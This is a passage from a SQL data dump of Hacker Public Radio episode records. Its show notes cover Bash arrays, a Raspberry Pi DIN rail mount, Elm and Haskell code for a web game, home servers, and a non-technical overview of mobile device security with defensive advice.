“<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 “<em>Further ancillary Bash tips - 11</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2669\">HPR episode 2669 “<em>Additional ancillary Bash tips - 12</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2679\">HPR episode 2679 “<em>Extra ancillary Bash tips - 13</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2689\">HPR episode 2689 “<em>Bash Tips - 14 (Some auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2699\">HPR episode 2699 “<em>Bash Tips - 15 (More auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2709\">HPR episode 2709 “<em>Bash Tips - 16 (Further auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2719\">HPR episode 2719 “<em>Bash Tips - 17 (Additional auxiliary Bash tips)</em>”</a></li>\r\n</ol></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2729/bash18_ex1.sh\">bash18_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2729/bash18_ex2.sh\">bash18_ex2.sh</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,array,indexed array,associative array,parameter expansion',0,0,1),
(2724,'2019-01-10','Using a DIN Rail to mount a Raspberry Pi',549,'I created DIN rail fittings for attaching my RPi 3B+ and an SSD disk','<h2 id=\"overview\">Overview</h2>\r\n<p>A <em>DIN Rail</em> is a metal rail for mounting pieces of electrical equipment inside an equipment rack, for performing tasks in a building, in a machine, and so forth. It’s common to see DIN rails holding circuit breakers for example.</p>\r\n<p>See the <a href=\"https://en.wikipedia.org/wiki/DIN_rail\" title=\"Wikipedia article on the DIN Rail\">Wikipedia article</a> on the subject for full details.</p>\r\n<p>A number of people in the Maker Community have made use of these rails, and there are a number of freely available designs for stands that can be 3D printed on which you can mount these rails. There are also designs for mounts onto which devices like Raspberry Pis and disks can be fitted and attached to a rail.</p>\r\n<p>This show will recount my experiences with creating a compact mounting system for one of my Raspberry Pi systems. I had the help of my son and his girlfriend in 3D printing the parts for this project.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes and pictures for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2724/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><p>Wikipedia article <a href=\"https://en.wikipedia.org/wiki/DIN_rail\"><em>DIN Rail</em></a></p></li>\r\n<li>Thingiverse designs used:\r\n<ul>\r\n<li><a href=\"https://www.thingiverse.com/thing:2610621\">DIN Mounts: Pi, Arduino and disks</a> by <a href=\"https://www.thingiverse.com/imstrng\">imstrng</a></li>\r\n<li><a href=\"https://www.thingiverse.com/thing:2068383\">DIN Rail Stand</a> by <a href=\"https://www.thingiverse.com/RedWraith\">RedWraith</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Other Thingiverse DIN Rail-related items:\r\n<ul>\r\n<li><a href=\"https://www.thingiverse.com/thing:2144527\">DIN Rail Stand v2</a> by <a href=\"https://www.thingiverse.com/philklaus\">philklaus</a></li>\r\n<li><a href=\"https://www.thingiverse.com/thing:2415721\">Raspberry Pi Zero Vertical Edge-Mounted DIN Mount</a> by <a href=\"https://www.thingiverse.com/coffeenut\">coffeenut</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','3D printing,DIN rail,Raspberry Pi',0,0,1),
(2723,'2019-01-09','Using Elm in context of 4X game client',2671,'tuturto talks their decisions on structuring Elm application','<p>Original idea I had with my toy game project was to have Yesod render most of the user interface as static HTML and have as little client side scripting as possible. Later I realized that there would be parts with significant amount of client side code and it might be better if whole site was written in Elm.</p>\r\n<p>Couple goals I had in my mind when I started this:</p>\r\n<ul>\r\n<li>easy to work with</li>\r\n<li>type safe</li>\r\n<li>extensible</li>\r\n<li>user authorization\r\n<ul>\r\n<li>regular player</li>\r\n<li>administrator</li>\r\n</ul></li>\r\n</ul>\r\n<p>Backend is written in Haskell and front end in Elm. Communication between them is via REST interface and most of the data is in JSON. All JSON encoding / decoding is centralized (more or less), same with initiating requests to server.</p>\r\n<h2 id=\"api-endpoints\">API Endpoints</h2>\r\n<p>End points used for REST calls are defined in single data type that captures their name and parameters. These are used when initiating requests, meaning there’s smaller chance of typo slipping through.</p>\r\n<pre><code>type Endpoint\r\n    = ApiStarDate\r\n    | ApiResources\r\n    | ApiStarSystem\r\n    | ApiStar\r\n    | ApiPlanet\r\n    | ApiPopulation PlanetId\r\n    | ApiBuilding PlanetId\r\n    | ApiConstructionQueue PlanetId\r\n    | ApiConstruction Construction\r\n    | ApiBuildingConstruction\r\n    | ApiAvailableBuildings</code></pre>\r\n<p>For example, sending a GET request to retrieve all construction projects on a planet is done as:</p>\r\n<pre><code>Http.send (ApiMsgCompleted &lt;&lt; ConstructionsReceived) (get (ApiConstructionQueue planetId) (list constructionDecoder))</code></pre>\r\n<p>GET Request is sent to ApiConstructionQueue endpoint and it has planetId as parameter. When server sends response, our program will parse content of it will be a list that is parsed with constructionDecoder and create “ApiMsgCompleted ConstructionsReceived” message with result of the parsing. Update function will process this and store list of constructions somewhere safe for further use.</p>\r\n<h2 id=\"update-function\">Update function</h2>\r\n<p>Update function is in charge of reacting to messages (mouse clicks, page changes, responses from server). In a large program update function will quickly get big and unwieldy. Breaking it into smaller pieces (per page for example), will make maintenance easier. This way each page has their own message type and own update function to handle it. In addition there’s few extra ones (cleaning error display, processing API messages and reacting to page changes).</p>\r\n<p>Same way as API end points are encoded in a type, pages are too:</p>\r\n<pre><code>type Route\r\n    = HomeR\r\n    | ProfileR\r\n    | StarSystemsR\r\n    | StarSystemR StarSystemId\r\n    | PlanetR StarSystemId PlanetId\r\n    | BasesR\r\n    | FleetR\r\n    | DesignerR\r\n    | ConstructionR\r\n    | MessagesR\r\n    | AdminR\r\n    | LogoutR\r\n    | ResearchR</code></pre>\r\n<p>routeToString function is used to map Route into String, that can be placed in hyperlink. Below is an excerp:</p>\r\n<pre><code>routeToString : Route -&gt; String\r\nrouteToString route =\r\n    case route of\r\n        HomeR -&gt;\r\n            &quot;/home&quot;\r\n\r\n        StarSystemR (StarSystemId sId) -&gt;\r\n            &quot;/starsystem/&quot; ++ String.fromInt sId\r\n\r\n        PlanetR (StarSystemId sId) (PlanetId pId) -&gt;\r\n            &quot;/starsystem/&quot; ++ String.fromInt sId ++ &quot;/&quot; ++ String.fromInt pId</code></pre>\r\n<p>Because mapping needs to be bi-directional (Route used to define content of a href and string from a href used to define Route), there’s mapping to other direction too:</p>\r\n<pre><code>routes : Parser (Route -&gt; a) a\r\nroutes =\r\n    oneOf\r\n        [ map HomeR top\r\n        , map ProfileR (s &quot;profile&quot;)\r\n        , map ResearchR (s &quot;research&quot;)\r\n        , map StarSystemsR (s &quot;starsystem&quot;)\r\n        , map StarSystemR (s &quot;starsystem&quot; &lt;/&gt; starSystemId)\r\n        , map PlanetR (s &quot;starsystem&quot; &lt;/&gt; starSystemId &lt;/&gt; planetId)\r\n        , map BasesR (s &quot;base&quot;)\r\n        , map FleetR (s &quot;fleet&quot;)\r\n        , map DesignerR (s &quot;designer&quot;)\r\n        , map ConstructionR (s &quot;construction&quot;)\r\n        , map MessagesR (s &quot;message&quot;)\r\n        , map AdminR (s &quot;admin&quot;)\r\n        , map LogoutR (s &quot;logout&quot;)\r\n]</code></pre>\r\n<p>Result of parsing is Maybe Route, meaning that failure will return Nothing. Detecting and handling this is responsibility of the calling code, usually I just default to HomeR.</p>\r\n<h2 id=\"breadcrumbs\">Breadcrumbs</h2>\r\n<p>Borrowing from Yesod, client uses recursive function to define breadcrumb path. This is hierarchical view of current location in the application, allowing user to quickly navigate backwards where they came.</p>\r\n<p>Breadcrumb path consists of segments that are tuple of (String, Maybe Route). String tells text to display and Route is possible parent route of the segment. This allows hierarchical definition: “Home / Star systems / Sol / Earth”. Because route has only (for example) PlanetId, we need to pass Model too, so that the data retrieved from server can be used to figure out what name such a planet has.</p>\r\n<pre><code>{-| Build complete breadcrumb path and wrap it in enclosing HTML\r\n-}\r\nbreadcrumbPath : Model -&gt; Html Msg\r\n\r\n{-| Recursively build list of breadcrumbs from segments\r\nLast one is plain text, while parents of it are links\r\n-}\r\nbreadcrumb : Model -&gt; Bool -&gt; Route -&gt; List (Html Msg)\r\n\r\n{-| Get segment of given route in form of ( String, Maybe Route )\r\nString denotes text describing the segment, Maybe Route is possible parent\r\n-}\r\nsegment : Model -&gt; Route -&gt; ( String, Maybe Route )</code></pre>\r\n',364,0,0,'CC-BY-SA','elm',0,0,1),
(2803,'2019-05-01','Update on my Raspi 3 B OpenMedia Vault and Next Cloud instances',449,'A short podcast on how my little home servers are working or not','<ul>\r\n<li><p><a href=\"https://nextcloud.com/box/\" class=\"uri\">https://nextcloud.com/box/</a><br />\r\nThis link was the first product and it is not available any more.</p></li>\r\n<li><p><a href=\"https://ownyourbits.com/nextcloudpi/\" class=\"uri\">https://ownyourbits.com/nextcloudpi/</a><br />\r\nThis link tells you about all the different ways to do next cloud.</p></li>\r\n<li><p><a href=\"https://github.com/nextcloud/nextcloudpi/wiki/How-to-install-NextCloudPi\" class=\"uri\">https://github.com/nextcloud/nextcloudpi/wiki/How-to-install-NextCloudPi</a><br />\r\nThe link above is what worked exactly for me.</p></li>\r\n<li><p><a href=\"https://www.openmediavault.org/about.html\" class=\"uri\">https://www.openmediavault.org/about.html</a><br />\r\nThe link above is about what OMV is.</p></li>\r\n<li><p><a href=\"https://sourceforge.net/projects/openmediavault/files/Raspberry%20Pi%20images/\">https://sourceforge.net/projects/openmediavault/files/Raspberry%20Pi%20images/</a><br />\r\nIs were I got my image.</p></li>\r\n</ul>\r\n<p>I use a Toshiba 4TB non-powered drive external usb 3 drive.</p>\r\n',129,0,1,'CC-BY-SA','Raspberry Pi,NextCloud,openmediavault',0,0,1),
(2716,'2018-12-31','Really Simple YouTube',441,'Thaj explains how he makes YouTube come to him using RSS feeds','<p>Here are the two links I mentioned that let you pull RSS feeds out of YouTube</p>\r\n<ul>\r\n<li><a href=\"https://danielmiessler.com/blog/rss-feed-youtube-channel/\" class=\"uri\">https://danielmiessler.com/blog/rss-feed-youtube-channel/</a></li>\r\n<li><a href=\"https://support.google.com/youtube/answer/6224202?hl=en\" class=\"uri\">https://support.google.com/youtube/answer/6224202?hl=en</a></li>\r\n</ul>\r\n',270,0,0,'CC-BY-SA','RSS, YouTube, PeerTube, TInyTinyRSS, Internet Video',0,0,1),
(2739,'2019-01-31','Bash Tips - 19',1553,'Arrays in Bash (part 4)','<h2 id=\"arrays-in-bash\">Arrays in Bash <small><small>(Supplemental auxiliary Bash tips)</small></small></h2>\r\n<p>This is the fourth and last of a small group of shows on the subject of arrays in Bash. It is also the nineteenth show in the <em>Bash Tips</em> sub-series.</p>\r\n<p>In the last show we continued with the subject of parameter expansion in the context of arrays. There are other aspects of this that could be looked at, but we’ll leave it for the moment and may revisit it in the future.</p>\r\n<p>In this episode we will look in more depth at the <code>declare</code> (<code>typeset</code>) built in command and at some commands that are related (<code>readonly</code> and <code>local</code>), We will also look at the commands that assist with loading data into arrays: <code>mapfile</code> (<code>readarray</code>) and <code>read</code>.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>As usual I have provided detailed notes and examples for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2739/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li>Section on <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Arrays\">“Bash Arrays”</a></li>\r\n<li>Section on <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Shell-Builtin-Commands\">“4 Shell Builtin Commands”</a>\r\n<ul>\r\n<li>Section on <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bourne-Shell-Builtins\">“4.1 Bourne Shell Builtins”</a></li>\r\n<li>Section on <a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bash-Builtins\">“4.2 Bash Builtin Commands”</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Linux Documentation Project: <a href=\"https://www.tldp.org/LDP/abs/html/index.html\">Advanced Bash-Scripting Guide</a>\r\n<ul>\r\n<li><a href=\"https://www.tldp.org/LDP/abs/html/arrays.html\">Chapter 27: Arrays</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 “<em>Further ancillary Bash tips - 11</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2669\">HPR episode 2669 “<em>Additional ancillary Bash tips - 12</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2679\">HPR episode 2679 “<em>Extra ancillary Bash tips - 13</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2689\">HPR episode 2689 “<em>Bash Tips - 14 (Some auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2699\">HPR episode 2699 “<em>Bash Tips - 15 (More auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2709\">HPR episode 2709 “<em>Bash Tips - 16 (Further auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2719\">HPR episode 2719 “<em>Bash Tips - 17 (Additional auxiliary Bash tips)</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2729\">HPR episode 2729 “<em>Bash Tips - 18 (Extra auxiliary Bash tips)</em>”</a></li>\r\n</ol></li>\r\n</ul>\r\n<ul>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2739/bash19_ex1.sh\">bash19_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2739/bash19_ex2.sh\">bash19_ex2.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2739/bash19_ex3.sh\">bash19_ex3.sh</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,array,declare,typeset,local,readonly,read,mapfile,readarray',0,0,1),
(2717,'2019-01-01','Mobile Device Security',621,'Cell phone cyber security 101','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Hello and welcome to Hacker Public Radio, I’m Edward Miro and for this episode I decided to address mobile device security. As with most of the research and articles I’ve written in the past, these are geared toward standard users in a business setting and are meant to be a jumping off point for further research and to be a foundation for cyber security 101 level training classes. If you like what I do, and want to have me come speak to your team, feel free to email me.</p>\r\n<p>As an information security researcher, I have noticed a trend in what potential clients lately have been interested in: cell phones. Almost everyone I have consulted for in the area of private investigations make this area their main priority. This makes sense as users have started to transition to using mobile devices more and more. Not only do cell phones represent the main conduit to the internet for a huge chunk of people, but many use them for work also. Many companies have smartly presented policies against this, but there are still many organizations that allow bring-your-own-device style implementations. In the following podcast I will try to define the threats, defense and considerations in very broad strokes.</p>\r\n<p>Cell phones differ from a standard hacking target in a few ways. For the most part, many of the same vectors are still valid. Remote code execution however is more rare, but not out of the question. I’m going to attempt to present these different vectors in an ascending list of what is most likely to be used as an attack, in my humble (and possibly ignorant) opinion.</p>\r\n<h3 id=\"passive-surveillance\">1. Passive Surveillance</h3>\r\n<p>This vector is one many in the hacking world will already be familiar with and it is a major concern for mobile devices as well. Attackers can monitor an access point where the mobile device is connected and collect packets in all the usual ways. Open public WiFi is a treasure trove and tons of data that’s being sent in the clear can be collected, analyzed and leveraged by attackers.</p>\r\n<p>Defense here is a bit more complicated for the general user, but shouldn’t be too intrusive for most:</p>\r\n<ol type=\"1\">\r\n<li>Use a VPN on your mobile devices.</li>\r\n<li>Switch to a DNS provider that provides secure DNSSEC.</li>\r\n<li>Implement proper encryption on access points.</li>\r\n</ol>\r\n<h3 id=\"spyware\">2. Spyware</h3>\r\n<p>Many commercial spyware applications are readily available on both of the main app stores. The challenges for attackers lie in either gaining physical access to the unlocked device to install the spyware, or tricking the user into installing it themselves. Most often the target’s spouse or close contact does this. Some of these apps can be disguised to look like innocuous applications as a feature, but with devices that are rooted/jailbroken, they can be completely hidden from the user. I found a few surveys that state the average smart phone user has about 30 apps installed. I don’t think it’s unreasonable to suspect the average person wouldn’t notice a second calculator or calendar app. These apps feature the full gamut of what you’d expect from a spyware app.</p>\r\n<p>Defense against spyware is pretty simple:</p>\r\n<ol type=\"1\">\r\n<li>Don’t allow unsupervised access to your device.</li>\r\n<li>Use a strong passcode or biometric lock.</li>\r\n<li>Remove unused applications and be aware of new apps that may pop up.</li>\r\n<li>Don’t root or jailbreak your device.</li>\r\n</ol>\r\n<h3 id=\"social-engineering\">3. Social Engineering</h3>\r\n<p>The tried and true vector that has always worked and will continue to work is social engineering. It doesn’t matter what kind of device a target is using if you can get them to click a malicious link, open a malicious attachment, or disclose their password to the attackers. With a user’s password you can conduct a vast amount of surveillance through their Google or Apple account. Not to mention leverage their password into all their other accounts as most users still use the same password for everything. We can also callback to the previous section on spyware by mentioning that many users are already familiar with enabling the installation of 3rd party applications and can be tricked into installing a cleverly disguised spyware application.</p>\r\n<p>Basic OPSEC recommendations are applicable here:</p>\r\n<ol type=\"1\">\r\n<li>Don’t click strange or unsolicited links or attachments on your devices.</li>\r\n<li>Never disclose your password to anyone through a text message or voice call.</li>\r\n<li>Don’t install 3rd party applications. I’ll extend this to say not to install any shady or questionable apps, even ones hosted by the app stores. There have been instances of vetted apps being malicious.</li>\r\n</ol>\r\n<h3 id=\"imsi-catchersfemtocells\">4. IMSI catchers/Femtocells</h3>\r\n<p>I refer to these as DIY Stingrays. Stingrays are devices used by law enforcement to track and surveil cell phone traffic. These devices emulate a cell tower or boost cell phone signals when used in a legitimate way. Mobile phones are designed to prefer using stations that are the closest and strongest. Any technically proficient attacker can DIY one of these devices for not a lot of money. When an attacker deploys one of these devices, the target’s phone usually has no idea that the device isn’t an official cell tower and happily connects and passes traffic through it. The rogue stations can then be configured to pass the traffic on to an authentic tower and the user will have no idea. These rogue towers can not only collect identifying information about the mobile device that can be used to track or mark a target, they can also monitor voice calls, data, and SMS, as well as perform man-in-the-middle attacks. Often they can disable the native encryption of the target’s phone as well.</p>\r\n<p>Defense against this vector is a bit more complicated:</p>\r\n<ol type=\"1\">\r\n<li>As before, use a VPN.</li>\r\n<li>Use Signal or other encrypted communication apps.</li>\r\n<li>Avoid disclosing sensitive information during voice calls.</li>\r\n<li>There is software that has been developed to detect and notify the user when a rogue station has been detected, but this is not going to be super helpful for standard users. There are also maps online of known cell towers and it is possible to use software to identify your connected tower.</li>\r\n</ol>\r\n<h3 id=\"exploits\">5. Exploits</h3>\r\n<p>Speaking very generally, this attack vector is for the most part less of a concern (depending on your particular threat level), but we all know that the chance of this happening in the wild is probably remote for most people. The technical implementations of exploits such as Rowhammer, Stagefright, and Blueborne are well outside the scope of this particular talk, but we would be incorrect to not mention them and what can be done to protect against them. And we should also pay special attention to more and more exploits being developed to attack mobile devices as attackers have started putting a lot of attention in this area. Even though many of these vulnerabilities are being patched, we all know many users are still using old versions of Android and iOS, and many devices are simply outside the support period offered by the manufacturers and will never be updated past a certain point. Couple that with the general idea that mobile devices (or any device running a non Windows based OS) are “safer” because less exploits exist for them is currently a very poor assumption. This will probably get worse as the cost of keeping up with new devices now being over $1000 and many users won’t be able to get devices that are constantly being patched.</p>\r\n<p>What we can do:</p>\r\n<ol type=\"1\">\r\n<li>Keep your mobile devices updated with most current OS updates and carrier settings. Also keep applications updated. I don’t know how many times I’ve noticed friends or family with devices that are ready to be updated, but the notifications go ignored.</li>\r\n<li>If it’s possible, replace devices when they are outside the support period.</li>\r\n<li>Be paranoid, if it applies to you. What this means is when you use any computer or device, always remember that zero day exploits can exist for years before being disclosed. You could follow ALL the best OPSEC practices, and you could still be vulnerable to exploits that haven’t been disclosed and/or patched. This might not matter if you’re just a general user, but if you work for the government or do intelligence work, act as if.</li>\r\n</ol>\r\n<p>Well, thank you for taking the time to listen to my basic introduction to cell phone cyber defense. I know most of the information I provided is only the tip of the iceberg and if current trends hold up, this will only get worse in the future. If you want to add to or correct any mistakes I may have made, like I stated in the introduction, feel free to email me and let’s have a conversation. I don’t claim to know all there is to know and love feedback and any opportunities to learn more or collaborate with others in the field.</p>\r\n<p>Thanks again, and have a great 2019!</p>\r\n',372,0,1,'CC-BY-SA','Mobile Device Security',0,0,1),
(2718,'2019-01-02','Genre In Storytelling',750,'Lostnbronx takes a look at the importance of genre in storytelling.','<p>Many people see genres as being largely interchangeable, but are they really? Why can some stories only be told in a particular genre? When are genre stories truly alike? And when are setting, character, and plot more important than genre? Lostnbronx takes a quick, rambling look at this complicated subject.</p>\r\n',107,105,0,'CC-BY-SA','stories,storytelling,genre,lostnbronx',1,0,1),
(2725,'2019-01-11','The Illumos Shutdown Command Explained',812,'A short pod cast about the Illumos shutdown command','<p>In response to JWP\'s <a href=\"https://hackerpublicradio.org/eps.php?id=2697\" target=\"_blank\">episode 2697</a> and <a href=\"https://hackerpublicradio.org/eps.php?id=2697#comments\" target=\"_blank\">ClaudioM\'s comment</a>, this show covers the <code>shutdown</code> command as it appeared in Sun Solaris and OpenSolaris, and currently appears in both Oracle Solaris and <a href=\"https://openindiana.org\" target=\"_blank\">OpenIndiana</a>.\r\n\r\n<p>\r\nThe quick version&#58;\r\n</p>\r\n\r\n<ul>\r\n<li><code>shutdown</code></li>\r\n<li><code>-i</code> sets the destination init state (5 to shutdown, 6 to reboot, and so on; see <code>man init</code> for more)</li>\r\n<li><code>-y</code> to answer \"yes\" to the safeguard prompt asking you whether you really want to shutdown</li>\r\n<li><code>-g</code> to set how many seconds until shutdown. Default is 60.\r\n</li>\r\n</ul>\r\n\r\n<p>In practise, I don\'t even use the shutdown command. I use <code>poweroff</code>, which does a shutdown and poweroff.</p>\r\n\r\n<p>\r\nBoth shutdown and poweroff require root permission. On OpenIndiana, you can either use <code>sudo bash</code> or <code>pfexec bash</code> to get a root prompt.\r\n</p>\r\n\r\n<p>Some links&#58;</p>\r\n<p><a href=\"https://docs.openindiana.org/handbook/common-tasks/#system-shutdown-reboot\" target=\"_blank\">OpenIndiana handbook</a></p>\r\n<p><a href=\"https://docs.oracle.com/cd/E23824_01/html/821-1451/gldpm.html\" target=\"_blank\">Sun Microsystem docs</a> (with Oracle branding on it)</p>\r\n\r\n\r\n',78,0,0,'CC-BY-SA','sys admin,systems,unix,illumos',0,0,1),
(2733,'2019-01-23','Writing Web Game in Haskell - News and Notifications',2837,'tuturto talks about the game they\'re writing in Haskell and convoluted news system they made.','<h2 id=\"intro\">Intro</h2>\r\n<p>News and notifications are used in the game to let the players know something noteworthy has happened. It could be discovery of a new planet or construction project finally finishing.</p>\r\n<p>All relevant information in the news is hyperlinked. If news mentions a planet, player can click the link and view current information of that planet.</p>\r\n<h2 id=\"server-interface\">Server interface</h2>\r\n<p>Server has three resources for news, although we’re concentrating only one here:</p>\r\n<pre><code>/api/message           ApiMessageR      GET POST\r\n/api/message/#NewsId   ApiMessageIdR    DELETE\r\n/api/icon              ApiMessageIcons  GET</code></pre>\r\n<p>First one is for retrieving all messages and posting a new one. Second one is for marking one read and third one is for retrieving all icons that players can attach to messages written by them.</p>\r\n<h2 id=\"database\">Database</h2>\r\n<p>Database is defined in /config/models file. For news, there’s only one table:</p>\r\n<pre><code>News json\r\n    content Text\r\n    factionId FactionId\r\n    date Int\r\n    dismissed Bool\r\nderiving Show Read Eq</code></pre>\r\n<p>Content field contains the actual news article data as serialized JSON. This allows storing complex data, without having to have lots of columns or multiple tables.</p>\r\n<h2 id=\"domain-objects\">Domain objects</h2>\r\n<p>There are many kinds of messages that players might see, but we’ll concentrate on one about discovering a new planet</p>\r\n<p>All different kinds of articles are of same type: NewsArticle. Each different kind of article has their own value constructor (PlanetFound in this particular case). And each of those value constructors has single parameter of a specific type that holds information particular to that certain article (PlanetFoundNews in this case). Adding a new article means adding a new value constructor and record to hold the data.</p>\r\n<pre><code>data NewsArticle =\r\n    StarFound StarFoundNews\r\n    | PlanetFound PlanetFoundNews\r\n    | UserWritten UserWrittenNews\r\n    | DesignCreated DesignCreatedNews\r\n    | ConstructionFinished ConstructionFinishedNews\r\n\r\n\r\ndata PlanetFoundNews = PlanetFoundNews\r\n    { planetFoundNewsPlanetName :: Text\r\n    , planetFoundNewsSystemName :: Text\r\n    , planetFoundNewsSystemId   :: Key StarSystem\r\n    , planetFoundNewsPlanetId   :: Key Planet\r\n    , planetFoundNewsDate       :: Int\r\n    }</code></pre>\r\n<p>Given a News object, we can turn it into NewsArticle. These are much nicer to deal with that densely packed News that is stored in database:</p>\r\n<pre><code>parseNews :: News -&gt; Maybe NewsArticle\r\nparseNews =\r\n    decode . toLazyByteString . encodeUtf8Builder . newsContent</code></pre>\r\n<p>Because parsing arbitrary JSON might fail, we get Maybe NewsArticle, instead of NewsArticle. It is possible to write the same code in longer way:</p>\r\n<pre><code>parseNews news =\r\n    let\r\n        content = newsContent news\r\n        utf8Encoded = encodeUtf8Builder content\r\n        byteString = toLazyByteString utf8Encoded\r\n    in\r\n        decode byteString</code></pre>\r\n<p>Similarly there’s two other functions for dealing with Entities (primary key, data - pair really) and list of Entities. Note that parseNewsEntities filters out all News that it didn’t manage to turn into NewsArticle. They have following signatures:</p>\r\n<pre><code>parseNewsEntity :: Entity News -&gt; (Key News, Maybe NewsArticle)\r\n\r\nparseNewsEntities :: [Entity News] -&gt; [(Key News, NewsArticle)]</code></pre>\r\n<p>Writing JSON encoding and decoding is tedious, template Haskell can help us here:</p>\r\n<pre><code>$(deriveJSON defaultOptions &#39;&#39;PlanetFoundNews)\r\n$(deriveJSON defaultOptions &#39;&#39;NewsArticle)</code></pre>\r\n<h2 id=\"turning-articles-into-json\">Turning Articles into JSON</h2>\r\n<p>News articles aren’t much use if they stay on the server, we need to send them to clients too. We can’t have multiple declarations of same typeclass for any type, so we declare complete new type and copy data there before turning it into JSON and sending to client (this is one way of doing this).</p>\r\n<p>First step, define our types (concentrating on planet found news here):</p>\r\n<pre><code>data NewsArticleDto =\r\n    StarFoundDto StarFoundNewsDto\r\n    | PlanetFoundDto PlanetFoundNewsDto\r\n    | UserWrittenDto UserWrittenNewsDto\r\n    | DesignCreatedDto DesignCreatedNewsDto\r\n    | ConstructionFinishedDto ConstructionFinishedNewsDto\r\n    deriving (Show, Read, Eq)\r\n\r\ndata PlanetFoundNewsDto = PlanetFoundNewsDto\r\n    { planetFoundNewsDtoPlanetName :: Text\r\n    , planetFoundNewsDtoSystemName :: Text\r\n    , planetFoundNewsDtoSystemId   :: Key StarSystem\r\n    , planetFoundNewsDtoPlanetId   :: Key Planet\r\n    , planetFoundNewsDtoDate       :: Int\r\n    }\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>We need way to move data into dto and thus define a type class for that operation:</p>\r\n<pre><code>class (ToJSON d) =&gt; ToDto c d | c -&gt; d where\r\n    toDto :: c -&gt; d</code></pre>\r\n<p>For more 